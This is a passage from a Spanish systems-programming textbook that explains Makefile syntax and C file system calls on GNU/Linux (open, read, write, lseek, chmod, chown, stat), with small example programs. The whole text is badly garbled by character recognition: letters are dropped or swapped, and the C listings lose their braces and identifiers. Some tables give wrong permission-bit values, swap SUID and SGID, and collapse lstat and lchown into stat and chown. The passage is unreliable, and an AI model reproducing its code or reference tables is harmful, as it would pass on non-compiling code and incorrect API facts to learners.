n "ob|et vo " deIInImos eI mduIo o programa que queremos crear,
despues de Ios dos puntos y en Ia mIsma IInea podemos deIInIr que otros
mduIos o programas son necesarIos para conseguIr eI "ob|et vo ". Ior ItImo,
en Ia IInea sIguIente y sucesIvas IndIcamos Ios comandos necesarIos para
IIevar esto a cabo. s muy $)'*+#!,#- que Ios comandos esten separados
por un tabuIador de eI comIenzo de IInea. AIgunos edItores como eI mcedIt
cambIan Ios tabuIadores por 8 espacIos en bIanco, y esto hace que Ios
MakeIIIes generados asI no IuncIonen. !n ejempIo de regIa podrIa ser eI
sIguIente.
|uego : ventana.o motor.o bd.o
gcc -O2 -c |uego.c -o |uego.o
gcc -O2 |uego.o ventana.o motor.o bd.o -o |uego
Iara crear "| uego" es necesarIo que se hayan creado "ventana.o", "motor.o" y
"bd.o" (tIpIcamente habr una regIa para cada uno de esos IIcheros objeto en
ese mIsmo MakeIIIe).
n Ios sIguIentes apartados anaIIzaremos un poco ms a Iondo Ia sIntaxIs
de Ios MakeIIIes.
1.4.1.1 Comentaros en Makefes
Ios IIcheros MakeIIIe pueden IacIIItar su comprensIn medIante
comentarIos. Todo Io que este escrIto desde eI carcter "#" hasta eI IInaI de
Ia IInea ser Ignorado por make. Ias IIneas que comIencen por eI carcter "#"
sern tomadas a todos Ios eIectos como IIneas en bIanco.
s bastante recomendabIe hacer uso de comentarIos para dotar de mayor
cIarIdad a nuestros MakeIIIes. Iodemos IncIuso aadIr sIempre una cabecera
con Ia Iecha, autor y nmero de versIn deI IIchero, para IIevar un controI de
versIones ms eIIcIente.
Programacn de Sstemas 17
1.4.1.2 Varabes
s muy habItuaI que exIstan varIabIes en Ios IIcheros MakeIIIe, para
IacIIItar su portabIIIdad a dIIerentes pIataIormas y entornos. Ia Iorma de
deIInIr una varIabIe es muy sencIIIa, basta con IndIcar eI nombre de Ia
varIabIe (tIpIcamente en mayscuIas) y su vaIor, de Ia sIguIente Iorma.
CC = gcc -O2
Cuando queramos acceder aI contenIdo de esa varIabIe, Io haremos asI.
$(CC) |uego.c -o |uego
s necesarIo tener en cuenta que Ia expansIn de varIabIes puede dar
Iugar a probIemas de expansIones recursIvas InIInItas, por Io que a veces se
empIea esta sIntaxIs.
CC := gcc
CC := $(CC) -O2
mpIeando ":=" en Iugar de "=" evItamos Ia expansIn recursIva y por Io
tanto todos Ios probIemas que pudIera acarrear.
Adems de Ias varIabIes deIInIdas en eI propIo MakeIIIe, es posIbIe hacer
uso de Ias varIabIes de entorno, accesIbIes desde eI Interprete de comandos.
sto puede dar pIe a IormuIacIones de este estIIo.
SRC = $(HOME)/src
|uego :
gcc $(SCR)/*.c -o |uego
mpIeando ":=" en Iugar de "=" evItamos Ia expansIn recursIva y por Io
tanto todos Ios probIemas que pudIera acarrear.
!n tIpo especIaI de varIabIes Io constItuyen Ias varIabIes automtIcas,
aqueIIas que se evaIan en cada regIa. A mI, personaImente, me recuerdan a
Ios parmetros de un scrIpt. n Ia sIguIente tabIa tenemos una IIsta de Ias
ms Importantes.
Varabe Descrpcn
$@ Se susttuye por e nombre de ob|etvo de a presente rega.
$* Se susttuye por a raz de un nombre de fchero.
$< Se susttuye por a prmera dependenca de a presente rega.
$
Se susttuye por una sta separada por espacos de cada una
de as dependencas de a presente rega.
$?
Se susttuye por una sta separada por espacos de cada una
de as dependencas de a presente rega que sean ms nuevas
que e ob|etvo de a rega.
$(@D)
Se susttuye por a parte correspondente a subdrectoro de a
ruta de fchero correspondente a un ob|etvo que se
encuentre en un subdrectoro.
$(@F)
Se susttuye por a parte correspondente a nombre de fchero
de a ruta de fchero correspondente a un ob|etvo que se
encuentre en un subdrectoro.
Programacn de Sstemas 18
Taba 1.4.2 Lsta de as varabes automtcas ms comunes en Makefes.
1.4.1.3 Regas vrtuaes
s reIatIvamente habItuaI que adems de Ias regIas normaIes, Ios IIcheros
MakeIIIe pueden contener regIas vIrtuaIes, que no generen un IIchero en
concreto, sIno que sIrvan para reaIIzar una determInada accIn dentro de
nuestro proyecto soItware. ormaImente estas regIas sueIen tener un
objetIvo, pero nInguna dependencIa.
I ejempIo ms tIpIco de este tIpo de regIas es Ia regIa "c ean" que
IncIuyen casI Ia totaIIdad de MakeIIIes, utIIIzada para "IImpIar" de IIcheros
ejecutabIes y IIcheros objeto Ios dIrectorIos que haga IaIta, con eI propsIto
de rehacer todo Ia prxIma vez que se IIame a "make ".
cean :
rm -f |uego *.o
sto provocarIa que cuando aIguIen ejecutase "make c ean", eI comando
asocIado se ejecutase y borrase eI IIchero "| uego" y todos Ios IIcheros objeto.
SIn embargo, como ya hemos dIcho, este tIpo de regIas no sueIen tener
dependencIas, por Io que sI exIstIese un IIchero que se IIamase "cean" dentro
deI dIrectorIo deI MakeIIIe, make consIderarIa que ese objetIvo ya est
reaIIzado, y no ejecutarIa Ios comandos asocIados.
txp@neon:-$ touch cean
txp@neon:-$ make cean
make: `cean' est actuazado.
Iara evItar este extrao eIecto, podemos hacer uso de un objetIvo
especIaI de make, .PHONY. Todas Ias dependencIas que IncIuyamos en este
objetIvo obvIarn Ia presencIa de un IIchero que coIncIda con su nombre, y
se ejecutarn Ios comandos correspondIentes. AsI, sI nuestro anterIor
MakeIIIe hubIese aadIdo Ia sIguIente IInea.
.PHONY : cean
habrIa evItado eI anterIor probIema de manera IImpIa y sencIIIa.
1.4.1.4 Regas mpctas
o todos Ios objetIvos de un MakeIIIe tIenen por que tener una IIsta de
comandos asocIados para poder reaIIzarse. n ocasIones se deIInen regIas
que sIo IndIcan Ias dependencIas necesarIas, y es eI propIo make quIen
decIde cmo se Iograrn cada uno de Ios objetIvos. VemosIo con un ejempIo.
|uego : |uego.o
|uego.o : |uego.c
Con un MakeIIIe como este, make ver que para generar "|uego" es precIso
generar prevIamente "|uego.o" y para generar "|uego.o" no exIsten comandos
Programacn de Sstemas 19
que Io puedan reaIIzar, por Io tanto, make presupone que para generar un
IIchero objeto basta con compIIar su Iuente, y para generar eI ejecutabIe
IInaI, basta con enIazar eI IIchero objeto. AsI pues, ImpIIcItamente ejecuta Ias
sIguIentes regIas.
cc -c |uego.c -o |uego.o
cc |uego.o -o |uego
Generando eI ejecutabIe, medIante IIamadas aI compIIador estndar.
1.4.1.5 Regas patrn
Ias regIas ImpIIcItas que acabamos de ver, tIenen su razn de ser debIdo
a una serIe de "regIas patrn" que ImpIIcItamente se especIIIcan en Ios
MakeIIIes. osotros podemos redeIInIr esas regIas, e IncIuso Inventar regIas
patrn nuevas. Ie aquI un ejempIo de cmo redeIInIr Ia regIa ImpIIcIta
anterIormente comentada.
%.o : %.c
$(CC) $(CFLAGS) $< -o $@
s decIr, para todo objetIvo que sea un ". o" y que tenga como
dependencIa un ". c", ejecutaremos una IIamada aI compIIador de C ($(CC))
con Ios modIIIcadores que esten deIInIdos en ese momento ($(CFLAGS)),
compIIando Ia prImera dependencIa de Ia regIa ($<, eI IIchero ".c") para
generar eI propIo objetIvo ($@, eI IIchero ".o").
1.4.1.6 Invocando a comando make
Cuando nosotros Invocamos aI comando make desde Ia IInea de comandos,
Io prImero que se busca es un IIchero que se IIama "GNUmakefe", sI no se
encuentra se busca un IIchero IIamado "makefe" y sI por ItImo no se
encontrase, se buscarIa eI IIchero "Makefe". SI no se encuentra en eI
dIrectorIo actuaI nInguno de esos tres IIcheros, se producIr un error y make
no contInuar.
txp@neon:-$ make
make: *** No se especfc nngn ob|etvo y no se encontr nngn makefe.
Ato.
xIsten adems varIas maneras de IIamar aI comando make con eI objeto
de hacer una traza o &*A:/ deI MakeIIIe. Ias opcIones "-d", "-n", y "-W" estn
expresamente IndIcadas para eIIo. Otra opcIn Importante es "-|N", donde
IndIcaremos a make que puede ejecutar hasta "N" procesos en paraIeIo, muy
tII para mquInas potentes.
1.4.1.7 E|empo de Makefe
Ia manera ms sencIIIa de entender cmo IuncIona make es con un
MakeIIIe de ejempIo.
# Makefe de e|empo
#
# verson 0.1
Programacn de Sstemas 20
#
CC := gcc
CFLAGS := -O2
MODULOS = ventana.o geston.o bd.o |uego
.PHONY : cean nsta
a : $(MODULOS)
%.o : %.c
$(CC) $(CFLAGS) -c $<.c -o $@
ventana.o : ventana.c
bd.o : bd.c
geston.o : geston.c ventana.o bd.o
$(CC) $(CFLAGS) -c $<.c -o $@
$(CC) $* -o $@
|uego: |uego.c ventana.o bd.o geston.o
$(CC) $(CFLAGS) -c $<.c -o $@
$(CC) $* -o $@
cean:
rm -f $(MODULOS)
nsta:
cp |uego /usr/games/|uego
1.5 Programando en C para GNU/Lnux
IIevamos varIos apartados habIando de todo Io que rodea a Ia
programacIn en G!/IInux, pero no termInamos de entrar en materIa. n
Io sucesIvo comenzaremos desde Io ms bsIco, para Ir posterIormente
vIendo Ias IIamadas aI sIstema ms comunes y termInar con
ntercomunIcacIn ntre Irocesos (IC) y sockets en redes TCI/I.
1.5.1 Hoa, mundo!
SI hay un programa obIIgatorIo a Ia hora de empezar a programar en un
Ienguaje de programacIn, ese es eI mItIco "IoIa, mundo!". Ia manIa de
utIIIzar un programa que saque por pantaIIa "IoIa, mundo!" para mostrar un
programa de ejempIo en un determInado Ienguaje se remonta -una vez ms-
a Ios orIgenes de C y !X, con KernIngan, IItchIe, Thompson y compaIa
hacIendo de Ias suyas.
Iara programar un "IoIa, mundo!" en C para G!/IInux sImpIemente
tendremos que edItar un IIchero, "hoa. c", que contenga aIgo sImIIar a esto.
Programacn de Sstemas 21
#ncude <stdo.h>
nt man( nt argc, char *argv|| )

prntf( Hoa, mundo!n );


return 0;

ueda Iuera deI mbIto de este IIbro expIIcar de Iorma detaIIada Ia


sIntaxIs de C, por Io que pasaremos a anaIIzar eI proceso de compIIacIn
desde nuestro IIchero Iuente ("hoa. c") aI IIchero ejecutabIe ("hoa").
txp@neon:-$ gcc hoa.c -o hoa
txp@neon:-$ ./hoa
Hoa, mundo!
txp@neon:-$
Como podemos observar, eI proceso es muy sencIIIo. Iay que tener
especIaI cuIdado en aadIr eI dIrectorIo a Ia hora de IIamar aI ejecutabIe
(". / hoa ") porque en G!/IInux Ia varIabIe PATH no contIene aI dIrectorIo
actuaI. AsI, por mucho que hagamos "cd" para cambIar a un determInado
dIrectorIo, sIempre tendremos que IncIuIr eI dIrectorIo en Ia IIamada aI
ejecutabIe, en este caso IncIuImos eI dIrectorIo actuaI, es decIr, ".".
1.5.2 Lamadas sencas
Con eI "IoIa, mundo!" hemos empIeado Ia IuncIn estndar de C, prntf().
n Ia IIbrerIa gIIbC, Ia IIbrerIa estndar de C de G!, prntf() est
ImpIementada como una serIe de IIamadas aI sIstema que seguramente
reaIIzarn aIgo parecIdo a esto.
1. AbrIr eI IIchero STDOUT (saIIda estndar) para escrItura.
2. AnaIIzar y caIcuIar Ia cadena que hay que sacar por
STDOUT.
3. scrIbIr en eI IIchero STDOUT Ia anterIor cadena.
n reaIIdad, como vemos, prntf() desemboca en varIas IIamadas aI
sIstema, para abrIr IIcheros, escrIbIr en eIIos, etc. Ior Io tanto, no sIempre
que utIIIcemos una IuncIn de C se IIamar a una nIca syscaII o IIamada aI
sIstema, sIno que IuncIones reIatIvamente compIejas pueden dar Iugar a
varIas sycaIIs.
Ia manera ms sencIIIa de entender eI sIstema es utIIIzando Ias IuncIones
bsIcas, aqueIIas que se corresponden IIeImente con Ia syscaII a Ia que
IIaman. ntre Ias ms bsIcas estn Ias de manejo de IIcheros. Ya hemos
dIcho que en !X en generaI, y en G!/IInux en partIcuIar, todo es un
IIchero, por Io que estas syscaIIs son eI AC de Ia programacIn de sIstemas
en !X.
Comencemos por crear un IIchero. xIsten dos maneras de abrIr un
IIchero, open() y creat(). AntIguamente open() sIo podIa abrIr IIcheros que ya
Programacn de Sstemas 22
estaban creados por Io que era necesarIo hacer una IIamada a creat ( )para
IIamar a open( ) posterIormente. A dIa de hoy open() es capaz de crear IIcheros,
ya que se ha aadIdo un nuevo parmetro en su prototIpo.
nt creat( const char *pathname, mode_t mode )
nt open( const char *pathname, nt fags )
nt open( const char *pathname, nt fags, mode_t mode )
Como vemos, Ia nueva open() es una suma de Ias IuncIonaIIdades de Ia
open() orIgInaI y de creat(). Otra cosa que puede IIamar Ia atencIn es eI hecho
de que eI tIpo deI parmetro "mode" es "mode_t". sta cIase de tIpos es
bastante utIIIzado en !X y sueIen corresponder a un "nt" o "unsgned nt" en
Ia mayorIa de Ios casos, pero se decIaran asI por compatIbIIIdad hacIa atrs.
Ior eIIo, para empIear estas syscaIIs se sueIen IncIuIr Ios IIcheros de
cabecera.
#ncude <sys/types.h>
#ncude <sys/stat.h>
#ncude <fcnt.h>
I IuncIonamIento de open() es eI sIguIente. aI ser IIamada Intenta abrIr eI
IIchero IndIcado en Ia cadena "pathname" con eI acceso que IndIca eI
parmetro "fags". stos "IIags" IndIcan sI queremos abrIr eI IIchero para
Iectura, para escrItura, etc. Ia sIguIente tabIa especIIIca Ios vaIores que
puede tomar este parmetro.
Indcador Vaor Descrpcn
O_RDONLY 0000 E fchero se abre so para ectura.
O_WRONLY 0001 E fchero se abre so para escrtura.
O_RDWR 0002 E fchero se abre para ectura y escrtura.
O_RANDOM 0010
E fchero se abre para ser acceddo de forma
aeatora (tpco de dscos).
O_SEUENTIAL 0020
E fchero se abre para ser acceddo de forma
secuenca (tpco de cntas).
O_TEMPORARY 0040 E fchero es de carcter tempora.
O_CREAT 0100
E fchero deber ser creado s no exsta
prevamente.
O_ECL 0200
Provoca que a amada a open fae s se
especfca a opcn O_CREAT y e fchero ya
exsta.
O_NOCTTY 0400
S e fchero es un dspostvo de termna (TTY), no
se convertr en a termna de contro de proceso
(CTTY).
O_TRUNC 1000 F|a e tamao de fchero a cero bytes.
O_APPEND 2000
E apuntador de escrtura se stua a fna de
fchero, se escrbrn a fna os nuevos datos.
O_NONBLOCK 4000
La apertura de fchero ser no boqueante. Es
equvaente a O_NDELAY.
O_SYNC 10000
Fuerza a que todas as escrturas en e fchero se
termnen antes de que se retorne de a amada a
sstema. Es equvaente a O_FSYNC.
O_ASYNC 20000
Las escrturas en e fchero pueden reazarse de
manera asncrona.
O_DIRECT 40000 E acceso a dsco se producr de forma drecta.
Programacn de Sstemas 23
O_LARGEFILE 100000
Utzado so para fcheros extremadamente
grandes.
O_DIRECTORY 200000 E fchero debe ser un drectoro.
O_NOFOLLOW 400000
Fuerza a no segur os enaces smbcos. t en
entornos crtcos en cuanto a segurdad.
Taba 1.5.3 Lsta de os posbes vaores de argumento fags.
Ia IIsta es bastante extensa y Ios vaIores estn pensados para que sea
posIbIe concatenar o sumar varIos de eIIos, es decIr, hacer una OI IgIca
entre Ios dIIerentes vaIores, consIguIendo eI eIecto que deseamos. AsI pues,
podemos ver que en reaIIdad una IIamada a creat ( )tIene su equIvaIente en
open( ), de esta Iorma.
open( pathname, O_CREAT | O_TRUNC | O_WRONLY, mode )
I argumento "mode " se encarga de deIInIr Ios permIsos dentro deI
SIstema de IIcheros (de Ia manera de Ia que Io hacIamos con eI comando
"chmod "). Ia IIsta compIeta de sus posIbIes vaIores es esta.
Indcador Vaor Descrpcn
S_IROTH 0000 Actvar e bt de ectura para todo os usuaros.
S_IWOTH 0001 Actvar e bt de escrtura para todo os usuaros.
S_IOTH 0002 Actvar e bt de e|ecucn para todo os usuaros.
S_IRGRP 0010
Actvar e bt de ectura para todo os usuaros
pertenecentes a grupo.
S_IRGRP 0020
Actvar e bt de escrtura para todo os usuaros
pertenecentes a grupo.
S_IRGRP 0040
Actvar e bt de e|ecucn para todo os usuaros
pertenecentes a grupo.
S_IRUSR 0100 Actvar e bt de ectura para e propetaro.
S_IWUSR 0200 Actvar e bt de escrtura para e propetaro.
S_IUSR 0400 Actvar e bt de e|ecucn para e propetaro.
S_ISVT 1000 Actva e stcky bt en e fchero.
S_ISGID 2000 Actva e bt de SUID en e fchero.
S_ISUID 4000 Actva e bt de SGID en e fchero.
S_IRWU
S_IRUSR +
S_IWUSR +
S_IUSR
Actvar e bt de ectura, escrtura y e|ecucn para
e propetaro.
S_IRWG
S_IRGRP +
S_IWGRP +
S_IGRP
Actvar e bt de ectura, escrtura y e|ecucn para
todo os usuaros pertenecentes a grupo.
S_IRWO
S_IROTH +
S_IWOTH +
S_IOTH
Actvar e bt de ectura, escrtura y e|ecucn para
todo os usuaros.
Taba 1.5.4 Lsta de os posbes vaores de argumento mode.
Todos estos vaIores se deIInen en un IIchero de cabecera , por Io que
convIene IncIuIrIo.
#ncude <sys/stat.h>
!na IIamada correcta a open( ) devueIve un entero que corresponde aI
descrIptor de IIchero para manejar eI IIchero abIerto. Cada proceso maneja
Programacn de Sstemas 24
una tabIa de descrIptores de IIchero que Ie permIten manejar dIchos IIcheros
de Iorma sencIIIa. nIcIaImente Ias entradas 0, 1 y 2 de esa tabIa estn
ocupadas por Ios IIcheros STDIN, STDOUT y STDERR respectIvamente, es decIr, Ia
entrada estndar, Ia saIIda estndar y Ia saIIda de error estndar.
Fgura 1.5.2 Los descrptores de fchero ncaes de un proceso.
IodrIamos entender esa tabIa de descrIptores de IIchero como un IoteI
en eI que InIcIaImente Ias tres prImeras habItacIones estn ocupadas por Ios
cIIentes STDIN, STDOUT y STDERR. ConIorme vayan vInIendo ms cIIentes (se
abran nuevos archIvos), se Ies Ir acomodando en Ias sIguIentes
habItacIones. AsI un IIchero abIerto nada ms InIcIarse eI proceso, es
bastante probabIe que tenga un descrIptor de IIchero cercano a 2. n este
"IoteI" sIempre se asIgna Ia "habItacIn" ms baja a cada nuevo cIIente.
sto habr que tomarIo en cuenta en Iuturos programas.
Ien, ya sabemos abrIr IIcheros y crearIos sI no exIstIeran, pero no
podemos Ir dejando IIcheros abIertos sIn cerrarIos convenIentemente. Ya
sabeIs que C se caracterIza por tratar a sus programadores como personas
responsabIes y no presupone nInguna nIera deI estIIo deI recoIector de
basuras, o sImIIares. Iara cerrar un IIchero basta con pasarIe a Ia syscaII
cose() eI descrIptor de IIchero como argumento.
nt cose( nt fd)
IesuIta bastante sencIIIo. Veamos todo esto en accIn en un ejempIo.
#ncude <sys/types.h>
#ncude <sys/stat.h>
#ncude <fcnt.h>
nt man( nt argc, char *argv|| )

nt fd;
f( (fd = open( argv|1|, O_RDWR )) == -1 )

perror( open );
ext( -1 );

Programacn de Sstemas 25
prntf( E fchero aberto tene e descrptor %d.n, fd );
cose( fd );
return 0;

nIcIaImente tenemos Ios IIcheros de cabecera necesarIos, taI y como


hemos venIdo expIIcando hasta aquI. SeguIdamente decIaramos Ia varIabIe
"fd" que contendr eI descrIptor de IIchero, y reaIIzamos una IIamada a
open( ), guardando en "fd" eI resuItado de dIcha IIamada. SI "fd" es -1 sIgnIIIca
que se ha producIdo un error aI abrIr eI IIchero, por Io que saIdremos
advIrtIendo deI error. n caso contrarIo se contIna con Ia ejecucIn deI
programa, mostrando eI descrIptor de IIchero por pantaIIa y cerrando eI
IIchero despues. I IuncIonamIento de este programa puede verse aquI.
txp@neon:-$ gcc fchero.c -o fchero
txp@neon:-$ ./fchero fchero.c
E fchero aberto tene e descrptor 3.
I sIguIente paso IgIco es poder Ieer y escrIbIr en Ios IIcheros que
manejemos. Iara eIIo empIearemos dos syscaIIs muy sImIIares. read() y wrte().
AquI tenemos sus prototIpos.
ssze_t read( nt fd, vod *buf, sze_t count )
ssze_t wrte( nt fd, vod *buf, sze_t count )
Ia prImera de eIIas Intenta Ieer "count" bytes deI descrIptor de IIchero
deIInIdo en "fd", para guardarIos en eI buIIer "buf". ecImos "Intenta" porque
es posIbIe que en ocasIones no consIga su objetIvo. AI termInar, read()
devueIve eI nmero de bytes IeIdos, por Io que comparando este vaIor con Ia
varIabIe "count" podemos saber sI ha conseguIdo Ieer tantos bytes como
pedIamos o no. Ios tIpos de datos utIIIzados para contar Ios bytes IeIdos
pueden resuItar un tanto extraos, pero no son ms que enteros e esta
versIn de G!/IInux, como se puede ver en eI IIchero de cabeceras.
txp@neon:-$ grep ssze /usr/ncude/bts/types.h
typedef nt __ssze_t; /* Type of a byte count, or error. */
txp@neon:-$ grep ssze /usr/ncude/unstd.h
#fndef __ssze_t_defned
typedef __ssze_t ssze_t;
# defne __ssze_t_defned
||
I uso de Ia IuncIn wrte() es muy sImIIar, basta con IIenar eI buIIer "buf"
con Io que queramos escrIbIr, deIInIr su tamao en "count" y especIIIcar eI
IIchero en eI que escrIbIremos con su descrIptor de IIchero en "fd". Veamos
todo esto en accIn en un sencIIIo ejempIo.
#ncude <sys/types.h>
#ncude <sys/stat.h>
#ncude <fcnt.h>
Programacn de Sstemas 26
#defne STDOUT 1
#defne SIZE 512
nt man( nt argc, char *argv|| )

nt fd, readbytes;
char buffer|SIZE|;
f( (fd = open( argv|1|, O_RDWR )) == -1 )

perror( open );
ext( -1 );

whe( (readbytes = read( fd, buffer, SIZE )) != 0 )

/* wrte( STDOUT, buffer, SIZE ); */


wrte( STDOUT, buffer, readbytes );

cose( fd );
return 0;

Como se puede observar, InIcIaImente deIInImos dos constantes, STDOUT


para decIr que eI descrIptor de IIchero que deIIne Ia saIIda estndar es 1, y
SIZE, que IndIca eI tamao deI buIIer que utIIIzaremos. SeguIdamente
decIaramos Ias varIabIes necesarIas e Intentamos abrIr eI IIchero pasado por
parmetro (argv|1|) con acceso de Iectura/escrItura. SI se produce un error (Ia
saIIda de open() es -1), saIImos IndIcando eI error, sI no, seguImos. espues
tenemos un bucIe en eI que se va a Ieer deI IIchero abIerto ("fd") de SIZE en
SIZE bytes hasta que no quede ms (read() devueIva 0 bytes IeIdos). n cada
vueIta deI bucIe se escrIbIr Io IeIdo por Ia STDOUT, Ia saIIda estndar.
IInaImente se cerrar eI descrIptor de IIchero con cose().
n resumIdas cuentas este programa Io nIco que hace es mostrar eI
contenIdo de un IIchero por Ia saIIda estndar, parecIdo a Io que hace eI
comando "cat" en Ia mayorIa de ocasIones.
xIste una IInea de cdIgo que est comentada en eI IIstado anterIor.
/* wrte( STDOUT, buffer, SIZE ); */
En esta amada a wrte() no se est tenendo en cuenta o que ha
devueto a amada a read() anteror, sno que se haya edo o que se
haya edo, se ntentan escrbr SIZE bytes, es decr 512 bytes. u
suceder a amar a programa con esta nea en ugar de con a
otra? Ben, s e fchero que pasamos como parmetro es
medanamente grande, os prmeros ccos de buce whe
funconarn correctamente, ya que read() devover 512 como
nmero de bytes edos, y wrte() os escrbr correctamente. Pero en
a tma teracn de buce, read() eer menos de 512 bytes, porque
Programacn de Sstemas 27
es muy probabe que e tamao de fchero pasado por parmetro no
sea mtpo de 512 bytes. Entonces, read( ) habr edo menos de
512 bytes y wr te( ) segur tratando de escrbr 512 bytes. E
resutado es que wrte() escrbr caracteres basura que se
encuentran en ese momento en memora:
txp@neon:- $ gcc fes.c -o fes
txp@neon:- $ ./fes fes.c
#ncude <sys/types.h>
#ncude <sys/stat.h>
#ncude <fcnt.h>

#defne STDOUT 1
#defne SIZE 512

nt man(nt argc, char *argv||)

nt fd, readbytes;
char buffer|SIZE|;

f( (fd=open(argv|1|, O_RDWR)) == -1 )

perror(open);
ext(-1);


whe( (readbytes=read(fd, buffer, SIZE)) != 0 )

/* wrte(STDOUT, buffer, readbytes); */
wrte(STDOUT, buffer, SIZE);


cose(fd);

return 0;

@p@N@'@4%@'@8D@
@'@'@@txp@neon:- $
TaI y como muestra este ejempIo, InIcIaImente eI programa IuncIona bIen,
pero sI no tenemos en cuenta Ios bytes IeIdos por read(), aI IInaI termInaremos
escrIbIendo caracteres "basura".
Otra IuncIn que puede ser de gran ayuda es seek(). Muchas veces no
queremos posIcIonarnos aI prIncIpIo de un IIchero para Ieer o para escrIbIr,
sIno que Io que nos Interesa es posIcIonarnos en un despIazamIento concreto
reIatIvo aI comIenzo deI IIchero, o aI IInaI deI IIchero, etc. Ia IuncIn seek()
nos proporcIona esa posIbIIIdad, y tIene eI sIguIente prototIpo.
off_t seek(nt fdes, off_t offset, nt whence);
Ios parmetros que recIbe son bIen conocIdos, "fdes" es eI descrIptor de
IIchero, "offset" es eI despIazamIento en eI que queremos posIcIonarnos,
reIatIvo a Io que IndIque "whence", que puede tomar Ios sIguIentes vaIores.
Programacn de Sstemas 28
Indcador Vaor Descrpcn
SEEK_SET 0
Poscona e puntero a offset bytes desde e
comenzo de fchero.
SEEK_CUR 1
Poscona e puntero a offset bytes desde a
poscn actua de puntero..
SEEK_END 2
Poscona e puntero a offset bytes desde e fna
de fchero.
Taba 1.5.5 Lsta de os posbes vaores de argumento whence.
Ior ejempIo, sI queremos Ieer un IIchero y saItarnos una cabecera de 200
bytes, podrIamos hacerIo asI.
#ncude <sys/types.h>
#ncude <sys/stat.h>
#ncude <fcnt.h>

#defne STDOUT 1
#defne SIZE 512

nt man( nt argc, char *argv|| )

nt fd, readbytes;
char buffer|SIZE|;
f( (fd = open( argv|1|, O_RDWR )) == -1 )

perror( open );
ext( -1 );

seek( fd,200, SEEK_SET );
whe( (readbytes = read( fd, buffer, SIZE )) != 0 )

wrte( STDOUT, buffer, SIZE );

cose(fd);
return 0;

sta IuncIn tambIen utIIIza tIpos de varIabIes aIgo "esoterIcos", como


of f _ t , que aI IguaI que Ios tIpos vIstos hasta ahora, no son ms que otra Iorma
de IIamar a un entero Iargo y se mantIenen por compatIbIIIdad entre Ios
dIIerentes !X.
txp@neon:-$ grep off_t /usr/ncude/bts/types.h
typedef ong nt __off_t; /* Type of fe szes and offsets. */
typedef __quad_t __off_t; /* Type of fe szes and offsets. */
typedef __off_t __off64_t;
Ya sabemos crear, abrIr, cerrar, Ieer y escrIbIr, con esto se puede hacer
de todo! Iara termInar con Ias IuncIones reIacIonadas con eI manejo de
Programacn de Sstemas 29
IIcheros veremos chmod( ), chown( ) y stat(), para modIIIcar eI modo y eI
propIetarIo deI IIchero, o acceder a sus caracterIstIcas, respectIvamente.
Ia IuncIn chmod() tIene eI mIsmo uso que eI comando deI mIsmo nombre.
cambIar Ios modos de acceso permItIdos para un IIchero en concreto. Ior
mucho que estemos utIIIzando C, nuestro programa sIgue sujeto a Ias
restrIccIones deI SIstema de IIcheros, y sIo su propIetarIo o root podrn
cambIar Ios modos de acceso a un IIchero determInado. AI crear un IIchero,
bIen con creat() o bIen con open(), este tIene un modo que estar en IuncIn de
Ia mscara de modos que este conIIgurada (ver "man umask"), pero podremos
cambIar sus modos InmedIatamente hacIendo uso de una de estas IuncIones.
nt chmod(const char *path, mode_t mode);
nt fchmod(nt fdes, mode_t mode);
VIendo eI prototIpo de cada IuncIn, podemos averIguar su
IuncIonamIento. Ia prImera de eIIas, chmod(), modIIIca eI modo deI IIchero
IndIcado en Ia cadena "path". Ia segunda, fchmod(), recIbe un descrIptor de
IIchero, "fdes", en Iugar de Ia cadena de caracteres con Ia ruta aI IIchero. I
parmetro "mode" es de tIpo "mode_t", pero en G!/IInux es equIvaIente a
usar una varIabIe de tIpo entero. Su vaIor es exactamente eI mIsmo que eI
que usarIamos aI IIamar aI comando "chmod", por ejempIo.
chmod( /home/txp/prueba, 0666 );
Iara modIIIcar eI propIetarIo deI IIchero usaremos Ias sIguIentes
IuncIones.
nt chown(const char *path, ud_t owner, gd_t group);
nt fchown(nt fd, ud_t owner, gd_t group);
nt chown(const char *path, ud_t owner, gd_t group);
Con eIIas podremos cambIar eI propIetarIo y eI grupo de un IIchero en
IuncIn de su ruta ( chown() y chown() ) y en IuncIn deI descrIptor de IIchero (
fchown() ). I propIetarIo ("owner") y eI grupo ("group") son enteros que
IdentIIIcan a Ios usuarIos y grupos, taI y como especIIIcan Ios IIcheros
"/etc/passwd" y "/etc/group". SI IIjamos aIguno de esos dos parmetros ("owner" o
"group") con eI vaIor -1, se entender que deseamos que permanezca como
estaba. Ia IuncIn chown() es IdentIca a chown() saIvo en eI tratamIento de
enIaces sImbIIcos a IIcheros. n versIones de IInux anterIores a 2.1.81 (y
dIstIntas de 2.1.46), chown() no seguIa enIaces sImbIIcos. Iue a partIr de
IInux 2.1.81 cuando chown() comenz a seguIr enIaces sImbIIcos y se cre
una nueva syscaII, chown(), que no seguIa enIaces sImbIIcos. Ior Io tanto, sI
queremos aumentar Ia segurIdad de nuestros programas, empIearemos
chown(), para evItar maIentendIdos con enIaces sImbIIcos conIusos.
Cuando eI propIetarIo de un IIchero ejecutabIe es modIIIcado por un
usuarIo normaI (no root), Ios bIts de S! y SG se deshabIIItan. I
estndar IOSX no especIIIca cIaramente sI esto deberIa ocurrIr tambIen
cuando root reaIIza Ia mIsma accIn, y eI comportamIento de IInux depende
Programacn de Sstemas 30
de Ia versIn deI kerneI que se este empIeando. !n ejempIo de su uso podrIa
ser eI sIguIente.
gd_t grupo = 100; /* 100 es e GID de grupo users */
chown( /home/txp/prueba, -1, grupo);
Con esta IIamada estamos IndIcando que queremos modIIIcar eI
propIetarIo y grupo deI IIchero "/ home/ tx p /prueba ", dejando eI propIetarIo
como estaba (-1), y modIIIcando eI grupo con eI vaIor 100, que corresponde
aI grupo "users".
txp@neon:-$ grep 100 /etc/group
users:x:100:
Ya sIo nos queda saber cmo acceder a Ias caracterIstIcas de un IIchero,
medIante eI uso de Ia IuncIn stat ( ) . sta IuncIn tIene un comportamIento
aIgo dIIerente a Io vIsto hasta ahora. utIIIza una estructura de datos con
todas Ias caracterIstIcas posIbIes de un IIchero, y cuando se IIama a stat ( )se
pasa una reIerencIa a una estructura de este tIpo. AI IInaI de Ia syscaII,
tendremos en esa estructura todas Ias caracterIstIcas deI IIchero
debIdamente cumpIImentadas. Ias IuncIones reIacIonadas con esto son Ias
sIguIentes.
nt stat(const char *fe_name, struct stat *buf);
nt fstat(nt fedes, struct stat *buf);
nt stat(const char *fe_name, struct stat *buf);
s decIr, muy sImIIares a chown( ), f chown( )y chown(), pero en Iugar de
precIsar Ios propIetarIos deI IIchero, necesItan como segundo parmetro un
puntero a una estructura de tIpo "stat".
struct stat
